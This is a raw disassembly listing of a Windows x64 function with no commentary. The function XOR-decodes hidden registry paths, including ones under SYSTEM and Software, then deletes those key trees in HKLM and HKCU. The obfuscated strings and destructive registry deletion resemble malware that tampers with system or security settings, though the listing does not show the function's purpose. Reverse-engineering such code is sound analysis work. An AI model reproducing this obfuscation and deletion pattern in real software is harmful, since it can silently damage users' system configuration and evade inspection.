mov dword [rbp - 0x80], 0x45004f
mov dword [rbp - 0x7c], 0x400057
mov dword [rbp - 0x78], 0x6c0050
mov dword [rbp - 0x74], 0x540042
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x28
jb 0x140201921
lea rdx, [rsp + 0x40]
mov word [rbp - 0x70], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000002
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x14020198d
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x1402019d5
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
xor eax, eax
mov dword [rsp + 0x40], 0x580053
mov word [rbp - 0x5c], ax
mov ecx, ebx
mov dword [rsp + 0x44], 0x570051
mov dword [rsp + 0x48], 0x480041
mov dword [rsp + 0x4c], 0x44005a
mov dword [rsp + 0x50], 0x7b007d
mov dword [rsp + 0x54], 0x6e0078
mov dword [rsp + 0x58], 0x790062
mov dword [rsp + 0x5c], 0x60004d
mov dword [rsp + 0x60], 0x65007e
mov dword [rsp + 0x64], 0x7c0060
mov dword [rsp + 0x68], 0x460078
mov dword [rsp + 0x6c], 0x630073
mov dword [rsp + 0x70], 0x4a0044
mov dword [rsp + 0x74], 0x69007f
mov dword [rsp + 0x78], 0x74006a
mov dword [rsp + 0x7c], 0x7a007d
mov dword [rbp - 0x80], 0x7d0053
mov dword [rbp - 0x7c], 0x420040
mov dword [rbp - 0x78], 0x790049
mov dword [rbp - 0x74], 0x540073
mov dword [rbp - 0x70], 0x5b004d
mov dword [rbp - 0x6c], 0x4e0079
mov dword [rbp - 0x68], 0x590058
mov dword [rbp - 0x64], 0x410047
mov dword [rbp - 0x60], 0x420057
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x32
jb 0x140201ab0
lea rdx, [rsp + 0x40]
mov word [rbp - 0x5c], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000002
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x140201b1c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201b64
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x5b0054
mov dword [rsp + 0x54], 0x48006f
mov dword [rsp + 0x58], 0x6c0060
mov dword [rsp + 0x5c], 0x7c007d
mov dword [rsp + 0x60], 0x230030
mov dword [rsp + 0x64], 0x220022
mov dword [rsp + 0x68], 0x21
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x15
jb 0x140201bd0
lea rdx, [rsp + 0x40]
mov word [rsp + 0x6a], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x140201c3d
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201cbe
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
xor r9d, r9d
mov r8d, 0xf003f
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteKeyExW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x4a0054
mov dword [rsp + 0x54], 0x6e0062
mov dword [rsp + 0x58], 0x79006d
mov dword [rsp + 0x5c], 0x4a002e
mov dword [rsp + 0x60], 0x76007e
mov dword [rsp + 0x64], 0x7d007b
mov dword [rsp + 0x68], 0x71
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x15
jb 0x140201d21
lea rdx, [rsp + 0x40]
mov word [rsp + 0x6a], bx
lea rcx, [rbp]
call fcn.14013ec98
mov r9d, 0x2011f
mov qword [rbp + 0x60], rbx
lea r8, [rbp]
mov rdx, 0xffffffff80000001
lea rcx, [rbp + 0x60]
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x140201d80
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201e01
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
xor r9d, r9d
mov r8d, 0xf003f
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteKeyExW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rbx, qword [rsp + 0x170]
add rsp, 0x120
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret